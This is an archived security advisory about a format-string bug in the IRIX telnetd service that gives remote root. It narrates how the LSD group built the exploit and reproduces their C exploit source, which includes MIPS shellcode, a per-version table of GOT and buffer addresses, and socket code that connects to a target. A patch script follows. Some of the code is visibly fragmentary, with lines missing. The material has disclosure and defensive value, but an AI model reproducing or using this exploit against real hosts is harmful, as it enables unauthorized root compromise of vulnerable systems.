TUCoPS :: SGI :: telnet~1.txt

Irix telnetd Severe vulnerability




    IRIX 6.2...6.5.8


    [LSD] found following. They have found a very severe vulnerability
    in the IRIX telnetd service that upon successful exploitation  can
    give remote root access to any IRIX 6.2-6.5.8[m,f] system.

    The bug discussed  here appeared in  IRIX 5.2-6.1 systems  and was
    the  result  of  SGI  efforts  to  patch  a security vulnerability
    reported by CERT back in  1995 (CERT Advisory CA-95:14).   Because
    it  was  introduced  to  the  IRIX  5.2-6.1 systems along with the
    1010/1020 security  patches, their  default "clean"  installations
    are  rather  immune  from  this  vulnerability.   All  later  IRIX
    editions are by  default vulnerable to  the bug presented  in this
    post.  More info about that bug you will find at:


    The vulnerability LSD found belongs to the most recently discussed
    class of the so-called "format  bugs".  IRIX telnetd service  upon
    receiving the IAC-SB-TELOPT_ENVIRON request to set one of the _RLD
    family environment  variables calls  the syslog()  function with a
    partially user supplied format string.  The syslog message that is
    generated  upon  detecting  such  an  attempt  is of the following
    format: "ignored  attempt to  setenv(%.32s,%.128s)".   The strings
    enclosed by  the setenv()  brackets are  adequately: variable name
    and   variable   value.    If   variable   name/value   pairs  are
    appropriately constructed, arbitrary telnetd process image  memory
    values can be overwritten and execution flow can be redirected  to
    the user supplied machine code instructions.

    After  some  careful  investigation  LSD  managed  to  exploit the
    vulnerability.  A  proof of concept  code was developed  and it is
    available  at  their  website  (and  below  tomorrow).   They also
    implemented a  quick fix,  so that  people can  protect their IRIX
    boxes from being exploited.

    When LSD  noticed that  IRIX telnetd  uses syslog()  function with
    partially  user  supplied  strings,  the  first  attempt that they
    undertook  was  to  try  to  overwrite  its  stack  by  using  the
    "[shellcode]%[space  padding].c[return  address]"  attack  scheme.
    Unfortunately, it turned out to be ineffective, as they could  not
    seize control over the telnetd PC.  This was mainly caused by  the
    fact that the number of spaces  in the format string could not  be
    adjusted in such a way so that PC would have been loaded with  our
    arbitrary return address value.  They could not either use the

        "%[space padding].c[shellcode][address]"
        "%[pad1]x%[pad2]x%[pad3]x%[pad4]x%[param number]$n"

    attack scheme because of the MIPS big endianness and the fact that
    the machine  code implementing  the %n  feature was  using the  sw
    (store  word)  instruction.   On  MIPS  and  other  RISC  machines
    compilers usually generate code with a speed in mind.  So, if  the
    c language *(int*)var=val  equivalent operation is  encountered in
    the  source  code  it  is  usually  processed  in  such a way that
    produces the  sw instruction  in the  output assembly  code.   And
    since it is the sw store, it must be 4 bytes aligned on MIPS.   If
    this is not the case BUSERROR  is signalled to the process and  it
    core dumps.

    The processor big endianness  and aligned memory load/writes  were
    the primary difficulties that  we had encountered when  exploiting
    the format string telnetd bug.   The other problem we noticed  was
    that only 100  bytes long buffer  could be used  for telnet IAC-SB

    Because we do not give up  so easily, another try was made  to the
    telnetd exploit.  After some deep analysis of all the  environment
    constraints, LSD decided to use the

        "%[pad1]x%[param number1]$hn%[pad2]x%[param number2]$hn"

    string at our attack.  We simply changed from %n to %hn scheme and
    performed  two  short  integer  writes  instead  of one common int
    write.   The values  of pad1  and pad2,  although kept  in 32  bit
    registers are stored by the %hn feature as 16 bit values using  sh
    (store halfword) machine instruction.  If carefully adjusted, they
    can form  high and  low nibbles  of the  32 bit  value stored at a
    given memory address (addrlo for  first %hn store, and addrhi  for
    the second one).  LSD come up to the point where they were able to
    store arbitrary values in  telnetd process memory locations.   The
    problem we faced next was how to effectively get control over  the
    program counter.   Performing an overwrite  of the return  address
    stored in a  local function frame  is one of  the obvious ways  to
    achieve that, but since we  were not able to remotely  inspect the
    telnetd stack  it seemed  to be  rather ineffective.   This is why
    they decided to  make a jump  through the process  GOT table.   On
    IRIX every  call to  the function  from the  shared library linked
    with  a  given  program  is  made  with  the  use of the following
    instruction sequences:

        lw      t9,-got_offset(gp)
        jalr    ra,t9

    If GOT entry  for a shared  library function called  from within a
    telnetd would be overwritten  with an arbitrary address,  the next
    time this function would be executed, the PC would be loaded  with
    that address  and in  a result  control over  the process would be
    gained.  The most important thing  here is that GOT entries for  a
    given  function  call  do  not  differ  so  much from one to other
    binary.   The other  advantage is  that they  are 32 bit entities,
    regardless of whether ELF  32 or N32 binaries  are in use.   It is
    important as long as IRIX 6.4  and up use 64 bit pointers  for $ra
    and $gp, which are usually difficult to overwrite with most  often
    occuring str* buffer overflows.

    LSD inspected what function calls telnetd was using by viewing its
    GOT  table.    They   also  found   that  after   processing   the
    TELOPT_ENVIRON telnet protocol suboption telnetd was waiting on  a
    read() function call.  So, they decided to overwrite the GOT entry
    of  the  read()  function.   Its  address  was obtained by issuing
    odump -Dg /usr/etc/telnetd | grep "\[read\]" command:

        [        77]: 0x0fa38654 -32444(gp), 7fc4981c [read]

    and was 0x7fc4981c.

    So this is how to solve the "where to store" problem and LSD could
    control the value  of PC, but  "where to jump"  location was still
    unknown for them since it was also placed somewhere on a stack  of
    which parameters were unpredictable.  This is why they decided  to
    change our format string and used the following one instead:

        "%[space padding].c[shellcode]"
        "[addrlo][addrhi]%[pad1]x%[param number1]$hn%[pad2]x%[param number2]$hn"

    Because space paddings are  before shellcode instructions and  the
    space  value  is  0x20  they  could  act  as 0x20202020 NOPs (addi
    $zero,$at,8224).  By using a large decimal value for space padding
    we  could  make  our  NOP  buffer  large  and simultaneously, jump
    address was becoming much more predictable.  This is what LSD did,
    but very soon got disappointed.

    Everything seemed to be working  fine.  The telnetd GOT  entry for
    the read() function  was overwritten in  two shots with  our start
    address pointing to the  middle of the NOP  buffer.  The jump  was
    made  but  LSD  was  always  getting ILLEGAL INSTRUCION signal and
    telnetd core dumped after executing several 0x20202020 NOPs.  They
    knew very well what was going on.  After a couple of years of IRIX
    buffer  overflow  exploitation  that  was  nothing  than a classic
    example of  the MIPS  cache incoherence  behaviour.   They usually
    avoided that cache problems by supplying large NOP buffers to  the
    program input so that cache had time to "flush".  But that  didn't
    work in the telnetd case and they were stuck again.

    The enlightenment  came after  careful telnetd  memory inspection.
    LSD found out that one of its global symbols was used for  storing
    telnet protocol options.  It was called subbuffer and its location
    was predictable since it was stored in a telnetd GOT table.   They
    used odump -Dg /usr/etc/telnetd | grep "\[subbuffer\]" command:

        [       186]: 0x7fc4cf98 -32008(gp), 7fc499d0 [subbuffer]

    and obtained the forementioned buffer address - 0x7fc4cf98.

    The format string was changed again and we got rid of the  padding
    spaces in it since they were not needed any more.  Jumping to  the
    location within a subbuffer turned out to be effective but not  on
    all platforms.  LSD had still cache problems on R4600 systems.  To
    solve that they decided to use a trick that has been first applied
    by  them  back  in  1998  in  their  named  exploit.   They   were
    overwriting  the  same  memory  location  for  2 times with a time
    period between  each single  write.   By doing  so processor cache
    usually has enough time to "become coherent".  This is usually the
    case because during that time process sleeps on a read()  syscall,
    and its context is switched.   This is why in telnetd exploit  LSD
    set  environment  variables  for  two  times.   The  first setting
    places only shellcode and data in a subbuffer.  This is the second
    operation,  which  triggers  the  memory  overwrites and makes the
    exploit go run.

    So, we  have a  working exploit  version on  a 6.5  platform.  LSD
    tested it  and it  worked fine  on all  6.5.x systems  they had in
    their operating environment.  It was time to move to another  IRIX
    versions.  And this is where new problems with the exploit  popped

    First, they  noticed that  on IRIX  6.2 and  6.3 different  format
    strings  had  to  be  used.   That  became  quite apparent to when
    inspecting the telnetd binary and  finding out that it was  an ELF
    o32 binary, not the new N32 ELF  used on IRIX 6.4 and above.   So,
    we have to deal with appropriate format strings for different MIPS

    The second, much more painful difference noticed was that on  IRIX
    6.2-6.4 even if  the right telnetd  GOT entry for  the read() call
    was overwritten our code is not executed.  Instead, we always were
    ending  up  with  a  sigabort()  function  call.  Overwritting the
    abort() function  seemed to  be the  only way  to get control over
    telnetd program counter.  What was not promising for LSD was  that
    sigabort  was  called  from  within  the  syslog function of which
    definition is located within libc.so.1.  LSD went through  several
    IRIX boxes and checked out the differences between their  standard
    c language libraries.   And it all looked  like a mess.   LSD knew
    that some patches changed libc.so.1.  They somewhat found out that
    what odump/elfdump was showing about the libc.so.1 GOT entries was
    not usually  how the  things were  really looking  like.   LSD was
    forced to use  the following scheme  to obtain the  address of the
    libc.so.1 GOT entry for a given function:


    where  got_base_address  and  function_index_in_got  ware obtained
    with the following commands:

        odump -h -n .got /usr/lib/libc.so.1 | grep got
        odump -Dg /usr/lib/libc.so.1 | grep "\[abort\]"

    Finally, LSD went through the  SGI patchbase in order to  find out
    what patches could change the  libc.so.1 file in the IRIX  system.
    This is what they found:

        /usr/lib/libc.so.1 patches:

        IRIX 6.2
            patchSG0003490.eoe_sw.irix_lib (libc rollup + Y2K fixes + MIPS ABI)
            patchSG0003723.eoe_sw.irix_lib (libc rollup + Y2K fixes + MIPS ABI)
            patchSG0003771.eoe_sw.irix_lib (libc rollup + Y2K fixes + MIPS ABI)
            patchSG0001918.eoe_sw.irix_lib (libc rollup)
            patchSG0002086.eoe_sw.irix_lib (libc rollup)

        IRIX 6.3
            patchSG0003535.eoe_sw.irix_lib (libc bug fixes and enhancements + y2k)
            patchSG0003737.eoe_sw.irix_lib (libc bug fixes and enhancements + y2k)
            patchSG0003770.eoe_sw.irix_lib (libc bug fixes and enhancements + y2k)

        IRIX 6.4
            patchSG0003491.eoe_sw.irix_lib (6.4-S2MP+O + y2k + 64-bit strcoll segv fix)
            patchSG0003738.eoe_sw.irix_lib (6.4-S2MP+O + y2k + 64-bit strcoll segv fix)
            patchSG0003769.eoe_sw.irix_lib (6.4-S2MP+O + y2k + 64-bit strcoll segv fix)

        IRIX 6.5
            no patches available

    After applying each patch separately on appropriate IRIX  versions
    and by checking  the addresses of  the abort() function  GOT table
    entries it  turned out  that from  our "GOT  overwriting" point of
    view  some  libraries   were  equivalent.    Similar  elf   binary
    inspection was applied to the telnetd program (remember  subbuffer
    jump address), of which  different versions could be  installed in
    the system due to the following patch matrix:

        /usr/etc/telnetd patches:

        IRIX 6.2

        IRIX 6.3 6.4 6.5
            no patches available

    This is how LSD managed  to reduce the possible number  of abort()
    function GOT entry/telnetd subbufer  address locations from 39  to
    13.   The final  table of  all possible  combinations for all IRIX
    6.x systems looked like this:

        irix 6.2  libc.so.1: no patches      telnetd: no patches
        irix 6.2  libc.so.1: 1918|2086       telnetd: no patches
        irix 6.2  libc.so.1: 3490|3723|3771  telnetd: no patches
        irix 6.2  libc.so.1: no patches      telnetd: 1485|2070|3117|3414
        irix 6.2  libc.so.1: 1918|2086       telnetd: 1485|2070|3117|3414
        irix 6.2  libc.so.1: 3490|3723|3771  telnetd: 1485|2070|3117|3414
        irix 6.3  libc.so.1: no patches      telnetd: no patches
        irix 6.3  libc.so.1: 2087            telnetd: no patches
        irix 6.3  libc.so.1: 3535|3737|3770  telnetd: no patches
        irix 6.4  libc.so.1: no patches      telnetd: no patches
        irix 6.4  libc.so.1: 3491|3769|3738  telnetd: no patches
        irix 6.5-6.5.8m 6.5-6.5.7f           telnetd: no patches
        irix 6.5.8f                          telnetd: no patches

    This is how LSD come up to the ending point.

    The shellcode  used in  the exploit  code is  a slightly  modified
    version of their  40 byte long  IRIX MIPS shellcode.   It couldn't
    be longer because of the space limits imposed on a telnet protocol
    options buffer.  The following command shows that we have only 100
    bytes available for suboptions data:

        odump -Dt /usr/etc/telnetd | grep subbuffer

    We use 97 out of these 100  bytes.  As you see this is  far enough
    to take control over the IRIX box.

    Primarily aim of this  story was to show  how much effort must  be
    usually made to develop  an exploit code.   The guys who just  use
    them do not even  think about it.   Each exploit code has  its own
    story.  Only exploit coders who  know what it takes to write  them
    are familiar with that pain of development.

    Below is link to exploit and fix codes (they are included in  this
    advisory as well):



    /*## copyright LAST STAGE OF DELIRIUM jul 2000 poland        *://lsd-pl.net/ #*/
    /*## telnetd                                                                 #*/

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <errno.h>

    char shellcode[]=
        "\x04\x10\xff\xff"             /* bltzal  $zero,<shellcode>    */
        "\x24\x02\x03\xf3"             /* li      $v0,1011             */
        "\x23\xff\x02\x14"             /* addi    $ra,$ra,532          */
        "\x23\xe4\xfe\x08"             /* addi    $a0,$ra,-504         */
        "\x23\xe5\xfe\x10"             /* addi    $a1,$ra,-496         */
        "\xaf\xe4\xfe\x10"             /* sw      $a0,-496($ra)        */
        "\xaf\xe0\xfe\x14"             /* sw      $zero,-492($ra)      */
        "\xa3\xe0\xfe\x0f"             /* sb      $zero,-497($ra)      */
        "\x03\xff\xff\xcc"             /* syscall                      */

    typedef struct{char *vers;}tabent1_t;
    typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;

    tabent1_t tab1[]={
        { "IRIX 6.2  libc.so.1: no patches      telnetd: no patches          " },
        { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: no patches          " },
        { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: no patches          " },
        { "IRIX 6.2  libc.so.1: no patches      telnetd: 1485|2070|3117|3414 " },
        { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: 1485|2070|3117|3414 " },
        { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: 1485|2070|3117|3414 " },
        { "IRIX 6.3  libc.so.1: no patches      telnetd: no patches          " },
        { "IRIX 6.3  libc.so.1: 2087            telnetd: no patches          " },
        { "IRIX 6.3  libc.so.1: 3535|3737|3770  telnetd: no patches          " },
        { "IRIX 6.4  libc.so.1: no patches      telnetd: no patches          " },
        { "IRIX 6.4  libc.so.1: 3491|3769|3738  telnetd: no patches          " },
        { "IRIX 6.5-6.5.8m 6.5-6.5.7f           telnetd: no patches          " },
        { "IRIX 6.5.8f                          telnetd: no patches          " }

    tabent2_t tab2[]={
        { 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },
        { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },
        { 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },
        { 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },
        { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },
        { 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },
        { 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },
        { 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },
        { 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },
        { 1, 0x5e, 0x0fb576d8,  88, 0x7fc4cf70, 0x1c },
        { 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },
        { 1, 0x5e, 0x7fc496e8,  77, 0x7fc4cf98, 0x1c },
        { 1, 0x5e, 0x7fc496e0,  77, 0x7fc4cf98, 0x1c }

    char env_value[1024];

    int prepare_env(int vers){
        int i,adr,pch,adrh,adrl;
        char *b;


            for(i=0;i<1;i++) *b++=' ';
            for(i=0;i<4;i++) *b++=(char)(htonl(pch)>>((3-i%4)*8))&0xff;
            for(i=0;i<4;i++) *b++=(char)(htonl(pch+2)>>((3-i%4)*8))&0xff;
            for(i=0;i<3;i++) *b++=' ';
                if((shellcode[i]==0x02)||(shellcode[i]==0xff)) *b++=shellcode[i];
            for(i=0;i<5;i++) *b++=' ';
            for(i=0;i<4;i++) *b++=(char)(htonl(pch)>>((3-i%4)*8))&0xff;
            for(i=0;i<4;i++) *b++=' ';
            for(i=0;i<4;i++) *b++=(char)(htonl(pch+2)>>((3-i%4)*8))&0xff;
            for(i=0;i<3;i++) *b++=' ';
                if((shellcode[i]==0x02)||(shellcode[i]==0xff)) *b++=shellcode[i];

    main(int argc,char **argv){
        char buffer[1024];
        int i,c,sck,il,ih,cnt,vers=65;
        struct hostent *hp;
        struct sockaddr_in adr;

        printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
        printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n\n");

            printf("usage: %s address [-v 62|63|64|65]\n",argv[0]);

            case 'v': vers=atoi(optarg);

        case 62: il=0;ih=5; break;
        case 63: il=6;ih=8; break;
        case 64: il=9;ih=10; break;
        case 65: il=11;ih=12; break;
        default: exit(-1);


            if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){


                printf("error: telnet service seems to be used with tcp wrapper\n");

            write(sck,"/bin/uname -a\n",14);
        if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);}

            fd_set fds;
                int cnt;
                char buf[1024];
                        if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                        else break;
                        if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                        else break;


    Here is the fix:

    ## copyright LAST STAGE OF DELIRIUM jul 2000 poland            *://lsd-pl.net/ #
    ## telnetd fix                                                                 #

    echo "copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/"
    echo "telnetd bug fix for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n"


    if [ -f "$EXECUTABLE.org" ]
        echo "error: $EXECUTABLE.org binary existing."
        exit 1
    chmod 0 $EXECUTABLE.org

    cat > $FIX.c << 'EOF'
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>

    char pattern1[]="ignored attempt to setenv(%.32s,%.128s)";
    char pattern2[]="ignored attempt to setenv(_RLD - fixed)";

    int main(int argc,char **argv){
        char buf[4096],*b;int i,fd,cnt;

            if((cnt=read(fd,buf,4096))<sizeof(pattern1)) break;
                if(!memcmp(b,pattern1,sizeof(pattern1))) goto found;
        printf("error: pattern not found. not fixed!\n");

    cc $FIX.c -o $FIX
    if [ ! -f "$FIX" ]
        echo "error: building binary"
        exit 1
    rm -rf $FIX.c $FIX

    echo "$EXECUTABLE.org: "`strings $EXECUTABLE.org | grep ignored`
    echo "$EXECUTABLE:     "`strings $EXECUTABLE | grep ignored`

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH